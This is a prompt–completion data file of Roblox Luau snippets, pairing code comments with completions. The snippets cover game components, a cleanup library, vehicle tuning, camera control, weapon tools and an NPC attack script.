prompt
stringlengths 2
14.7k
| completion
stringlengths 1
99.7k
|
---|---|
--[=[
@interface Extension
@within Component
.ShouldConstruct ExtensionConstructFn?
.Constructing ExtensionFn?
.Constructed ExtensionFn?
.Starting ExtensionFn?
.Started ExtensionFn?
.Stopping ExtensionFn?
.Stopped ExtensionFn?
An extension allows the ability to extend the behavior of
components. This is useful for adding injection systems or
extending the behavior of components by wrapping around
component lifecycle methods.
A special `ShouldConstruct` function can be used to indicate
if the component should actually be created. This must
return `true` or `false`. A component with multiple
`ShouldConstruct` extension functions must have them _all_
return `true` in order for the component to be constructed.
The `ShouldConstruct` function runs _before_ all other
extension functions and component lifecycle methods.
For instance, an extension could be created to simply log
when the various lifecycle stages run on the component:
```lua
local Logger = {}
function Logger.Constructing(component) print("Constructing", component) end
function Logger.Constructed(component) print("Constructed", component) end
function Logger.Starting(component) print("Starting", component) end
function Logger.Started(component) print("Started", component) end
function Logger.Stopping(component) print("Stopping", component) end
function Logger.Stopped(component) print("Stopped", component) end
local MyComponent = Component.new({Tag = "MyComponent", Extensions = {Logger}})
```
Sometimes it is useful for an extension to control whether or
not a component should be constructed. For instance, if a
component on the client should only be instantiated for the
local player, an extension might look like this, assuming the
instance has an attribute linking it to the player's UserId:
```lua
local player = game:GetService("Players").LocalPlayer
local OnlyLocalPlayer = {}
function OnlyLocalPlayer.ShouldConstruct(component)
local ownerId = component.Instance:GetAttribute("OwnerId")
return ownerId == player.UserId
end
local MyComponent = Component.new({Tag = "MyComponent", Extensions = {OnlyLocalPlayer}})
```
]=] |
type Extension = {
ShouldConstruct: ExtensionConstructFn?,
Constructing: ExtensionFn?,
Constructed: ExtensionFn?,
Starting: ExtensionFn?,
Started: ExtensionFn?,
Stopping: ExtensionFn?,
Stopped: ExtensionFn?,
}
|
--[[
This was created by realgms took some inspiration from ER:LC on the ui
watch my yt video on how to set it up https://youtu.be/_x6XG6RcHec
]] |
local part = script.Parent
part.Touched:Connect(function(hit)
script.Parent.BeingTouched.Value = true -- set the flag to true when the part is touched
end)
part.TouchEnded:Connect(function(hit)
script.Parent.BeingTouched.Value = false -- set the flag to false when the part is no longer being touched
end)
|
--[=[
@param instance Instance
@return RBXScriptConnection
Attaches the trove to a Roblox instance. Once this
instance is removed from the game (parent or ancestor's
parent set to `nil`), the trove will automatically
clean up.
:::caution
Will throw an error if `instance` is not a descendant
of the game hierarchy.
:::
]=] |
function Trove:AttachToInstance(instance: Instance)
assert(instance:IsDescendantOf(game), "Instance is not a descendant of the game hierarchy")
return self:Connect(instance.Destroying, function()
self:Destroy()
end)
end
|
------//Sprinting Animations |
self.RightSprint = CFrame.new(-.9, 1.25, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0));
self.LeftSprint = CFrame.new(1,1,-0.6) * CFrame.Angles(math.rad(-45),math.rad(15),math.rad(-25));
self.RightElbowSprint = CFrame.new(0,-0.45,-.25) * CFrame.Angles(math.rad(-80), math.rad(0), math.rad(0));
self.LeftElbowSprint = CFrame.new(0,0,0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0));
self.RightWristSprint = CFrame.new(0,0,0.15) * CFrame.Angles(math.rad(20), math.rad(0), math.rad(0));
self.LeftWristSprint = CFrame.new(0,0,0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0));
return self
|
--[[
\\\ Returns a consistant UID from a string, based on an additive string.byte per character
Functions.StringByte(
string, <-- |REQ| String
)
--]] |
return function(str)
--- Vars
local int = 0
--- Convert each character to byte and add it up
for i = 1, string.len(str) do
int = int + string.byte(string.sub(str, i, i))
end
--
return int
end
|
-- [ SETTINGS ] -- |
local statsName = "Minutes" -- Your stats name
local maxItems = 100 -- Max number of items to be displayed on the leaderboard
local minValueDisplay = 1 -- Any numbers lower than this will be excluded
local maxValueDisplay = 10e15 -- (10 ^ 15) Any numbers higher than this will be excluded
local abbreviateValue = true -- The displayed number gets abbreviated to make it "human readable"
local updateEvery = 60 -- (in seconds) How often the leaderboard has to update
local headingColor = Color3.fromRGB(25, 181, 254) -- The background color of the heading
|
--------------------------------------- |
tool.Unequipped:Connect(function()
print("The tool was unequipped")
end)
tool.Deactivated:Connect(function()
print("The tool has been deactivated")
end) |
--[[
To add people to your whitelist go to the whitelist module and insert people to the table
--]] |
script.AdminEvent.Parent = game.ReplicatedStorage
script.Whitelist.Parent = game.ReplicatedStorage
script.Admin.Parent = game.ServerScriptService
script.AdminPanel.Parent = game.StarterGui
|
----------------// |
end
function KeyUI:remove(plr,Name)
for i,v in pairs(plr.PlayerGui:WaitForChild("UI").Main.Keys.Holder:GetChildren()) do
if v.Name == Name then
v:destroy()
end
end
end
function KeyUI:Get(plr,name)
return plr.PlayerGui:WaitForChild("UI").Main.Keys.Holder:FindFirstChild(name)
end
return KeyUI
|
--[[Engine]] |
--Torque Curve
Tune.Horsepower = 200 -- [TORQUE CURVE VISUAL]
Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf
Tune.PeakRPM = 7000 -- Use sliders to manipulate values
Tune.Redline = 7700 -- Copy and paste slider values into the respective tune values
Tune.EqPoint = 6500
Tune.PeakSharpness = 7.5
Tune.CurveMult = 0.16
--Incline Compensation
Tune.InclineComp = 1.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
--Misc
Tune.RevAccel = 150 -- RPM acceleration when clutch is off
Tune.RevDecay = 75 -- RPM decay when clutch is off
Tune.RevBounce = 500 -- RPM kickback from redline
Tune.IdleThrottle = 3 -- Percent throttle at idle
Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
|
--end) |
game:GetService("Players").PlayerAdded:Connect(function(player)
player.CharacterAdded:Connect(character_added)
end)
|
---------------- |
debounce = false
function onTouch(hit)
if game.Players:FindFirstChild(hit.Parent.Name) ~= nil and debounce == false then
local player = game.Players:FindFirstChild(hit.Parent.Name)
local c = player.Character:GetChildren()
debounce = true
for i=1, #c do
if (c[i].className == "Hat") or c[i].Name == "Character" then
c[i]:Destroy()
end
end
player.Character.Torso.Transparency = 1
player.Character:FindFirstChild("Left Arm").Transparency = 1
player.Character:FindFirstChild("Left Leg").Transparency = 1
player.Character:FindFirstChild("Right Arm").Transparency = 1
player.Character:FindFirstChild("Right Leg").Transparency = 1
player.Character.Humanoid.WalkSpeed = (Speed) -- You can change how fast players walk as this character!
local hide = Instance.new("SpecialMesh")
hide.MeshType = "FileMesh"
MeshId = ""
hide.Parent = player.Character.Head
local p = script.Parent.Parent:FindFirstChild("Character"):clone()
p.Parent = player.Character
p.CFrame = CFrame.new(player.Character.Torso.Position)
p.Anchored = false
local Y = Instance.new("Weld")
Y.Part0 = player.Character.Torso
Y.Part1 = p
Y.Parent = Y.Part0
itemlist = script.Parent:FindFirstChild("StartTools"):GetChildren()
if #itemlist ~= 0 then
for i= 1, #itemlist do
local itemc = itemlist[i]:clone()
itemc.Parent = player.Backpack
end
end
wait(1)
debounce = false
end
end
script.Parent.Touched:connect(onTouch)
|
--Rescripted by Luckymaxer |
Tool = script.Parent
Handle = Tool:WaitForChild("Handle")
Players = game:GetService("Players")
Debris = game:GetService("Debris")
Speed = 100
Duration = 1
NozzleOffset = Vector3.new(0, 0.4, -1.1)
Sounds = {
Fire = Handle:WaitForChild("Fire"),
Reload = Handle:WaitForChild("Reload"),
HitFade = Handle:WaitForChild("HitFade")
}
PointLight = Handle:WaitForChild("PointLight")
ServerControl = (Tool:FindFirstChild("ServerControl") or Instance.new("RemoteFunction"))
ServerControl.Name = "ServerControl"
ServerControl.Parent = Tool
ClientControl = (Tool:FindFirstChild("ClientControl") or Instance.new("RemoteFunction"))
ClientControl.Name = "ClientControl"
ClientControl.Parent = Tool
ServerControl.OnServerInvoke = (function(player, Mode, Value, arg)
if player ~= Player or Humanoid.Health == 0 or not Tool.Enabled then
return
end
if Mode == "Click" and Value then
Activated(arg)
end
end)
function InvokeClient(Mode, Value)
pcall(function()
ClientControl:InvokeClient(Player, Mode, Value)
end)
end
function TagHumanoid(humanoid, player)
local Creator_Tag = Instance.new("ObjectValue")
Creator_Tag.Name = "creator"
Creator_Tag.Value = player
Debris:AddItem(Creator_Tag, 2)
Creator_Tag.Parent = humanoid
end
function UntagHumanoid(humanoid)
for i, v in pairs(humanoid:GetChildren()) do
if v:IsA("ObjectValue") and v.Name == "creator" then
v:Destroy()
end
end
end
function FindCharacterAncestor(Parent)
if Parent and Parent ~= game:GetService("Workspace") then
local humanoid = Parent:FindFirstChild("Humanoid")
if humanoid then
return Parent, humanoid
else
return FindCharacterAncestor(Parent.Parent)
end
end
return nil
end
function GetTransparentsRecursive(Parent, PartsTable)
local PartsTable = (PartsTable or {})
for i, v in pairs(Parent:GetChildren()) do
local TransparencyExists = false
pcall(function()
local Transparency = v["Transparency"]
if Transparency then
TransparencyExists = true
end
end)
if TransparencyExists then
table.insert(PartsTable, v)
end
GetTransparentsRecursive(v, PartsTable)
end
return PartsTable
end
function SelectionBoxify(Object)
local SelectionBox = Instance.new("SelectionBox")
SelectionBox.Adornee = Object
SelectionBox.Color = BrickColor.new("Really red")
SelectionBox.Parent = Object
return SelectionBox
end
local function Light(Object)
local Light = PointLight:Clone()
Light.Range = (Light.Range + 2)
Light.Parent = Object
end
function FadeOutObjects(Objects, FadeIncrement)
repeat
local LastObject = nil
for i, v in pairs(Objects) do
v.Transparency = (v.Transparency + FadeIncrement)
LastObject = v
end
wait()
until LastObject.Transparency >= 1 or not LastObject
end
function Dematerialize(character, humanoid, FirstPart)
if not character or not humanoid then
return
end
humanoid.WalkSpeed = 0
local Parts = {}
for i, v in pairs(character:GetChildren()) do
if v:IsA("BasePart") then
v.Anchored = true
table.insert(Parts, v)
elseif v:IsA("LocalScript") or v:IsA("Script") then
v:Destroy()
end
end
local SelectionBoxes = {}
local FirstSelectionBox = SelectionBoxify(FirstPart)
Light(FirstPart)
wait(0.05)
for i, v in pairs(Parts) do
if v ~= FirstPart then
table.insert(SelectionBoxes, SelectionBoxify(v))
Light(v)
end
end
local ObjectsWithTransparency = GetTransparentsRecursive(character)
FadeOutObjects(ObjectsWithTransparency, 0.1)
wait(0.5)
character:BreakJoints()
humanoid.Health = 0
Debris:AddItem(character, 2)
local FadeIncrement = 0.05
delay(0.2, function()
FadeOutObjects({FirstSelectionBox}, FadeIncrement)
if character and character.Parent then
character:Destroy()
end
end)
FadeOutObjects(SelectionBoxes, FadeIncrement)
end
function Touched(Projectile, Hit)
if not Hit or not Hit.Parent then
return
end
local character, humanoid = FindCharacterAncestor(Hit)
if character and humanoid and character ~= Character then
local ForceFieldExists = false
for i, v in pairs(character:GetChildren()) do
if v:IsA("ForceField") then
ForceFieldExists = true
end
end
if not ForceFieldExists then
if Projectile then
local HitFadeSound = Projectile:FindFirstChild(Sounds.HitFade.Name)
local torso = humanoid.Torso
if HitFadeSound and torso then
HitFadeSound.Parent = torso
HitFadeSound:Play()
end
end
Dematerialize(character, humanoid, Hit)
end
if Projectile and Projectile.Parent then
Projectile:Destroy()
end
end
end
function Equipped()
Character = Tool.Parent
Player = Players:GetPlayerFromCharacter(Character)
Humanoid = Character:FindFirstChild("Humanoid")
if not Player or not Humanoid or Humanoid.Health == 0 then
return
end
end
function Activated(target)
if Tool.Enabled and Humanoid.Health > 0 then
Tool.Enabled = false
InvokeClient("PlaySound", Sounds.Fire)
local HandleCFrame = Handle.CFrame
local FiringPoint = HandleCFrame.p + HandleCFrame:vectorToWorldSpace(NozzleOffset)
local ShotCFrame = CFrame.new(FiringPoint, target)
local LaserShotClone = BaseShot:Clone()
LaserShotClone.CFrame = ShotCFrame + (ShotCFrame.lookVector * (BaseShot.Size.Z / 2))
local BodyVelocity = Instance.new("BodyVelocity")
BodyVelocity.velocity = ShotCFrame.lookVector * Speed
BodyVelocity.Parent = LaserShotClone
LaserShotClone.Touched:connect(function(Hit)
if not Hit or not Hit.Parent then
return
end
Touched(LaserShotClone, Hit)
end)
Debris:AddItem(LaserShotClone, Duration)
LaserShotClone.Parent = game:GetService("Workspace")
wait(0.6) -- FireSound length
InvokeClient("PlaySound", Sounds.Reload)
wait(0.75) -- ReloadSound length
Tool.Enabled = true
end
end
function Unequipped()
end
BaseShot = Instance.new("Part")
BaseShot.Name = "Effect"
BaseShot.BrickColor = BrickColor.new("Really red")
BaseShot.Material = Enum.Material.Plastic
BaseShot.Shape = Enum.PartType.Block
BaseShot.TopSurface = Enum.SurfaceType.Smooth
BaseShot.BottomSurface = Enum.SurfaceType.Smooth
BaseShot.FormFactor = Enum.FormFactor.Custom
BaseShot.Size = Vector3.new(0.2, 0.2, 3)
BaseShot.CanCollide = false
BaseShot.Locked = true
SelectionBoxify(BaseShot)
Light(BaseShot)
BaseShotSound = Sounds.HitFade:Clone()
BaseShotSound.Parent = BaseShot
Tool.Equipped:connect(Equipped)
Tool.Unequipped:connect(Unequipped)
|
--!strict |
local types = require(script.Parent.Parent.types)
type Array<T> = types.Array<T>
type Map<K, V> = types.Map<K, V>
type Tuple<T, V> = types.Tuple<T, V>
return function<T>(value: string | { [string]: T } | Array<T> | Map<any, T>): Array<Tuple<string, T>>
assert(value :: any ~= nil, "cannot get entries from a nil value")
local valueType = typeof(value)
local entries: Array<Tuple<string, T>> = {}
if valueType == "table" then
for key, keyValue in pairs(value :: { [string]: T } | Array<T>) do
-- Luau FIXME: Luau should see entries as Array<any>, given object is [string]: any, but it sees it as Array<Array<string>> despite all the manual annotation
table.insert(entries, { key, keyValue })
end
elseif valueType == "string" then
-- TODO: should we be using utf8.len?
for i = 1, string.len(value :: string) do
entries[i] = { tostring(i), string.sub(value :: string, i, i) }
end
end
return entries
end
|
--- Internal function that finds an existing hitbox from a given instance
-- @param instance object |
function Hitbox:_FindHitbox(object: any)
for _: number, hitbox: any in ipairs(ActiveHitboxes) do
if not hitbox.HitboxPendingRemoval and hitbox.HitboxObject == object then
return hitbox
end
end
end
|
--// Load Assets |
CP:PreloadAsync(rp:GetDescendants())
|
-- << Variables >> -- |
local Player = game:GetService("Players").LocalPlayer
local Mouse = Player:GetMouse()
local Camera = game:GetService("Workspace").CurrentCamera
local UserInputService = game:GetService("UserInputService")
local Humanoid = Player.Character:WaitForChild("Humanoid")
local bobbing = nil
local func1 = 0
local func2 = 0
local func3 = 0
local func4 = 0
local val = 0
local val2 = 0
local int = 10
local int2 = 10
local vect3 = Vector3.new()
|
-- Movement mode standardized to Enum.ComputerCameraMovementMode values |
function BaseCamera:SetCameraMovementMode( cameraMovementMode )
self.cameraMovementMode = cameraMovementMode
end
function BaseCamera:GetCameraMovementMode()
return self.cameraMovementMode
end
function BaseCamera:SetIsMouseLocked(mouseLocked)
self.inMouseLockedMode = mouseLocked
if not FFlagUserCameraToggle then
self:UpdateMouseBehavior()
end
end
function BaseCamera:GetIsMouseLocked()
return self.inMouseLockedMode
end
function BaseCamera:SetMouseLockOffset(offsetVector)
self.mouseLockOffset = offsetVector
end
function BaseCamera:GetMouseLockOffset()
return self.mouseLockOffset
end
function BaseCamera:InFirstPerson()
return self.inFirstPerson
end
function BaseCamera:EnterFirstPerson()
-- Overridden in ClassicCamera, the only module which supports FirstPerson
end
function BaseCamera:LeaveFirstPerson()
-- Overridden in ClassicCamera, the only module which supports FirstPerson
end
|
-- Función para desaparecer el bloque |
local function disappearBlock()
trap.Transparency = 1 -- Establece la transparencia del bloque a 1 para hacerlo invisible
trap.CanCollide = false -- Desactiva la colisión del bloque para que los jugadores puedan atravesarlo
end
|
--// Damage Settings |
BaseDamage = 43; -- Torso Damage
LimbDamage = 34; -- Arms and Legs
ArmorDamage = 34; -- How much damage is dealt against armor (Name the armor "Armor")
HeadDamage = 62; -- If you set this to 100, there's a chance the player won't die because of the heal script
|
--[[
Tells whether the current test we're in should be skipped.
]] |
function TestSession:shouldSkip()
-- If our test tree had any exclusive tests, then normal tests are skipped!
if self.hasFocusNodes then
for i = #self.nodeStack, 1, -1 do
local node = self.nodeStack[i]
-- Skipped tests are still skipped
if node.planNode.modifier == TestEnum.NodeModifier.Skip then
return true
end
-- Focused tests are the only ones that aren't skipped
if node.planNode.modifier == TestEnum.NodeModifier.Focus then
return false
end
end
return true
else
for i = #self.nodeStack, 1, -1 do
local node = self.nodeStack[i]
if node.planNode.modifier == TestEnum.NodeModifier.Skip then
return true
end
end
end
return false
end
|
--Rescripted by Luckymaxer |
Pie = script.Parent
Players = game:GetService("Players")
Debris = game:GetService("Debris")
Creator = Pie:FindFirstChild("creator")
BodyForce = Pie:FindFirstChild("BodyForce")
BodyGyro = Pie:FindFirstChild("BodyGyro")
HitSound = Pie:FindFirstChild("Hit")
Stuck = false
Damage = 0
function TagHumanoid(humanoid, player)
local Creator_Tag = Instance.new("ObjectValue")
Creator_Tag.Name = "creator"
Creator_Tag.Value = player
Debris:AddItem(Creator_Tag, 2)
Creator_Tag.Parent = humanoid
end
function UntagHumanoid(humanoid)
for i, v in pairs(humanoid:GetChildren()) do
if v:IsA("ObjectValue") and v.Name == "creator" then
v:Destroy()
end
end
end
function Stick(Object, Hit)
local Weld = Instance.new("Weld")
Weld.Part0 = Pie
Weld.Part1 = Hit
local HitPos = Pie.Position
local CJ = CFrame.new(HitPos)
Weld.C0 = Pie.CFrame:inverse() * CJ
Weld.C1 = Hit.CFrame:inverse() * CJ
Weld.Parent = Object
return Weld
end
function IsTeamMate(Player1, Player2)
return (Player1 and Player2 and not Player1.Neutral and not Player2.Neutral and Player1.TeamColor == Player2.TeamColor)
end
function Touched(Hit)
if not Hit or not Hit.Parent or Stuck then
return
end
local character = Hit.Parent
if character:IsA("Hat") or character:IsA("Tool") then
character = character.Parent
end
local CreatorPlayer
if Creator and Creator.Value and Creator.Value:IsA("Player") then
CreatorPlayer = Creator.Value
end
if CreatorPlayer and CreatorPlayer.Character == character then
return
end
local player = Players:GetPlayerFromCharacter(character)
if CreatorPlayer and player and IsTeamMate(CreatorPlayer, player) then
return
end
Stuck = true
PieWeld = Stick(Pie, Hit)
if HitSound then
HitSound:Play()
end
for i, v in pairs({BodyForce, BodyGyro}) do
if v and v.Parent then
v:Destroy()
end
end
local humanoid = character:FindFirstChild("Humanoid")
if humanoid and humanoid.Health > 0 then
UntagHumanoid(humanoid)
if CreatorPlayer then
TagHumanoid(humanoid, CreatorPlayer)
end
humanoid:TakeDamage(Damage)
end
end
Pie.Touched:connect(Touched)
for i = 1, 10 do
wait(0.1 * i)
if BodyGyro and BodyGyro.Parent then
local Direction = Pie.Velocity.unit
BodyGyro.maxTorque = Vector3.new(1e4, 1e4, 1e4)
BodyGyro.cframe = CFrame.new(Vector3.new(0, 0, 0), -Direction)
end
end
wait(2)
if PieWeld and PieWeld.Parent then
PieWeld:Destroy()
end
wait(8)
Debris:AddItem(Pie, 0)
|
--// Gun Parts |
local SFn
local ABS, HUGE, FLOOR, CEIL = math.abs, math.huge, math.floor, math.ceil
local RAD, SIN, COS, TAN = math.rad, math.sin, math.cos, math.tan
local VEC2, V3 = Vector2.new, Vector3.new
local CF, CFANG = CFrame.new, CFrame.Angles
local INSERT = table.insert
local Walking = false
local instance = Instance.new
local CFn = CFrame.new
local CFa = CFrame.Angles
local asin = math.asin
local abs = math.abs
local min = math.min
local max = math.max
local random = math.random
local OldTick = tick()
local t = 0
local Reconum = SpringMod.new(V3())
local sway = SpringMod.new(V3())
local Walk = SpringMod.new(V3())
local WalkRate = 1
local speed = 10
local damper = 1
Walk.s = speed
Walk.d = damper
Reconum.s = speed
Reconum.d = 0.15
sway.s = speed
sway.d = damper
local WVal = 0.25
local Waval = CFn()
local TS = game:GetService('TweenService')
local RS = game:GetService("RunService")
|
-- script.Gyro.Value.Parent = Tool.Parent:findFirstChild("Torso")
-- script.Gyro.Value.maxTorque = Vector3.new(math.huge,math.huge,math.huge) |
--mouse.Move:connect(function() onMouseMove(mouse) end)
while true do
game:GetService("RunService").RenderStepped:wait()
onMouseMove(mouse)
end
end
Tool.Equipped:connect(onEquipped)
|
-- Trove
-- Stephen Leitnick
-- October 16, 2021 |
local FN_MARKER = newproxy()
local THREAD_MARKER = newproxy()
local RunService = game:GetService("RunService")
local function GetObjectCleanupFunction(object, cleanupMethod)
local t = typeof(object)
if t == "function" then
return FN_MARKER
elseif t == "thread" then
return THREAD_MARKER
end
if cleanupMethod then
return cleanupMethod
end
if t == "Instance" then
return "Destroy"
elseif t == "RBXScriptConnection" then
return "Disconnect"
elseif t == "table" then
if typeof(object.Destroy) == "function" then
return "Destroy"
elseif typeof(object.Disconnect) == "function" then
return "Disconnect"
end
end
error("Failed to get cleanup function for object " .. t .. ": " .. tostring(object), 3)
end
local function AssertPromiseLike(object)
if type(object) ~= "table" or type(object.getStatus) ~= "function" or type(object.finally) ~= "function" or type(object.cancel) ~= "function" then
error("Did not receive a Promise as an argument", 3)
end
end
|
-- Game Services |
local Configurations = require(game.ServerStorage.Configurations)
local TeamManager = require(script.TeamManager)
local PlayerManager = require(script.PlayerManager)
local MapManager = require(script.MapManager)
local TimeManager = require(script.TimeManager)
local DisplayManager = require(script.DisplayManager)
|
--[[ Constants ]] | --
local ZERO_VECTOR3 = Vector3.new(0,0,0)
|
-- Now we set the caster values. |
local Caster = FastCast.new() --Create a new caster object.
|
-- ROBLOX deviation END |
local globsToMatchersMap = Map.new() :: Map<string, { isMatch: Matcher, negated: boolean }>
local picomatchOptions = { dot = true }
|
--[[ Script Variables ]] | --
while not Players.LocalPlayer do
Players.PlayerAdded:wait()
end
local LocalPlayer = Players.LocalPlayer
local Mouse = LocalPlayer:GetMouse()
local PlayerGui = LocalPlayer:WaitForChild('PlayerGui')
local ScreenGui = nil
local ShiftLockIcon = nil
local InputCn = nil
local IsShiftLockMode = false
local IsShiftLocked = false
local IsActionBound = false
local IsInFirstPerson = false
local PreventShiftLock = false -- NEW: used to prevent changes
local ShiftLockedBefore = false -- NEW: used to remember past value
|
-- Windows |
local aboutWindow = UI.About -- The window containing all info about the plugin
local mainWindow = UI.MainWindow -- The whole plugin itself
|
--------| Library |-------- |
local _L; coroutine.wrap(function() _L = require(game.ReplicatedStorage:WaitForChild("Resources")) end)()
|
--[[[Default Controls]]
--Peripheral Deadzones |
Tune.Peripherals = {
MSteerWidth = 67 , -- Mouse steering control width (0 - 100% of screen width)
MSteerDZone = 10 , -- Mouse steering deadzone (0 - 100%)
ControlLDZone = 5 , -- Controller steering L-deadzone (0 - 100%)
ControlRDZone = 5 , -- Controller steering R-deadzone (0 - 100%)
}
|
--[[Drivetrain]] |
Tune.Config = "AWD" --"FWD" , "RWD" , "AWD"
--Differential Settings
Tune.FDiffSlipThres = 50 -- 1 - 100% (Max threshold of applying full lock determined by deviation from avg speed)
Tune.FDiffLockThres = 50 -- 0 - 100% (0 - Bias toward slower wheel, 100 - Bias toward faster wheel)
Tune.RDiffSlipThres = 50 -- 1 - 100%
Tune.RDiffLockThres = 50 -- 0 - 100%
Tune.CDiffSlipThres = 50 -- 1 - 100% [AWD Only]
Tune.CDiffLockThres = 50 -- 0 - 100% [AWD Only]
--Traction Control Settings
Tune.TCSEnabled = true -- Implements TCS
Tune.TCSThreshold = 20 -- Slip speed allowed before TCS starts working (in SPS)
Tune.TCSGradient = 20 -- Slip speed gradient between 0 to max reduction (in SPS)
Tune.TCSLimit = 10 -- Minimum amount of torque at max reduction (in percent)
|
--------AUDIENCE BACK LEFT-------- |
game.Workspace.audiencebackleft1.Part1.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.audiencebackleft1.Part4.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.audiencebackleft1.Part7.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
|
-- emote bindable hook |
script:WaitForChild("PlayEmote").OnInvoke = function(emote)
-- Only play emotes when idling
if pose ~= "Standing" then
return
end
if emoteNames[emote] ~= nil then
-- Default emotes
playAnimation(emote, EMOTE_TRANSITION_TIME, Humanoid)
return true, currentAnimTrack
elseif typeof(emote) == "Instance" and emote:IsA("Animation") then
-- Non-default emotes
playEmote(emote, EMOTE_TRANSITION_TIME, Humanoid)
return true, currentAnimTrack
end
-- Return false to indicate that the emote could not be played
return false
end
script.IdlePose.Event:Connect(function()
playAnimation("idle", 0.2, Humanoid)
pose = "Standing"
end)
if Character.Parent ~= nil then
-- initialize to idle
playAnimation("idle", 0.1, Humanoid)
pose = "Standing"
end
|
--[[if JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Thumbnail")then]]--
--[[JeffTheKiller:FindFirstChild("Thumbnail"):Destroy();]]--
--[[end;]] | --
local JeffTheKillerHumanoid;
for _,Child in pairs(JeffTheKiller:GetChildren())do
if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then
JeffTheKillerHumanoid=Child;
end;
end;
local AttackDebounce=false;
local JeffTheKillerKnife=JeffTheKiller:FindFirstChild("Knife");
local JeffTheKillerHead=JeffTheKiller:FindFirstChild("Head");
local JeffTheKillerHumanoidRootPart=JeffTheKiller:FindFirstChild("HumanoidRootPart");
local WalkDebounce=false;
local Notice=false;
local JeffLaughDebounce=false;
local MusicDebounce=false;
local NoticeDebounce=false;
local ChosenMusic;
function FindNearestBae()
local NoticeDistance=99999e99999;
local TargetMain;
for _,TargetModel in pairs(Game:GetService("Workspace"):GetChildren())do
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and TargetModel.className=="Model"and TargetModel~=JeffTheKiller and TargetModel.Name~=JeffTheKiller.Name and TargetModel:FindFirstChild("Torso")and TargetModel:FindFirstChild("Head")then
local TargetPart=TargetModel:FindFirstChild("Torso");
local FoundHumanoid;
for _,Child in pairs(TargetModel:GetChildren())do
if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then
FoundHumanoid=Child;
end;
end;
if TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<NoticeDistance then
TargetMain=TargetPart;
NoticeDistance=(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude;
local hit,pos=raycast(JeffTheKillerHumanoidRootPart.Position,(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).unit,500)
if hit and hit.Parent and hit.Parent.ClassName=="Model"and hit.Parent:FindFirstChild("Torso")and hit.Parent:FindFirstChild("Head")then
if TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<9 and not AttackDebounce then
Spawn(function()
AttackDebounce=true;
local SwingAnimation=JeffTheKillerHumanoid:LoadAnimation(JeffTheKiller:FindFirstChild("Swing"));
local SwingChoice=math.random(1,2);
local HitChoice=math.random(1,3);
SwingAnimation:Play();
SwingAnimation:AdjustSpeed(1.5);
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Swing")then
local SwingSound=JeffTheKillerKnife:FindFirstChild("Swing");
SwingSound:Play();
end;
Wait(0.3);
if TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<8 then
FoundHumanoid:TakeDamage(30);
if HitChoice==1 and JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Hit")then
local HitSound=JeffTheKillerKnife:FindFirstChild("Hit");
HitSound:Play();
elseif HitChoice==2 and JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Hit")then
local HitSound=JeffTheKillerKnife:FindFirstChild("Hit");
HitSound:Play();
elseif HitChoice==3 and JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Hit")then
local HitSound=JeffTheKillerKnife:FindFirstChild("Hit");
HitSound:Play();
end;
end;
Wait(0.1);
AttackDebounce=false;
end);
end;
end;
end;
end;
end;
return TargetMain;
end;
while Wait(0)do
local TargetPoint=JeffTheKillerHumanoid.TargetPoint;
local Blockage,BlockagePos=RayCast((JeffTheKillerHumanoidRootPart.CFrame+CFrame.new(JeffTheKillerHumanoidRootPart.Position,Vector3.new(TargetPoint.X,JeffTheKillerHumanoidRootPart.Position.Y,TargetPoint.Z)).lookVector*(JeffTheKillerHumanoidRootPart.Size.Z/2)).p,JeffTheKillerHumanoidRootPart.CFrame.lookVector,(JeffTheKillerHumanoidRootPart.Size.Z*2.5),{JeffTheKiller,JeffTheKiller})
local Jumpable=false;
if Blockage then
Jumpable=true;
if Blockage and Blockage.Parent and Blockage.Parent.ClassName~="Workspace"then
local BlockageHumanoid;
for _,Child in pairs(Blockage.Parent:GetChildren())do
if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then
BlockageHumanoid=Child;
end;
end;
if Blockage and Blockage:IsA("Terrain")then
local CellPos=Blockage:WorldToCellPreferSolid((BlockagePos-Vector3.new(0,2,0)));
local CellMaterial,CellShape,CellOrientation=Blockage:GetCell(CellPos.X,CellPos.Y,CellPos.Z);
if CellMaterial==Enum.CellMaterial.Water then
Jumpable=false;
end;
elseif BlockageHumanoid or Blockage.ClassName=="TrussPart"or Blockage.ClassName=="WedgePart"or Blockage.Name=="Handle"and Blockage.Parent.ClassName=="Hat"or Blockage.Name=="Handle"and Blockage.Parent.ClassName=="Tool"then
Jumpable=false;
end;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and not JeffTheKillerHumanoid.Sit and Jumpable then
end;
end;
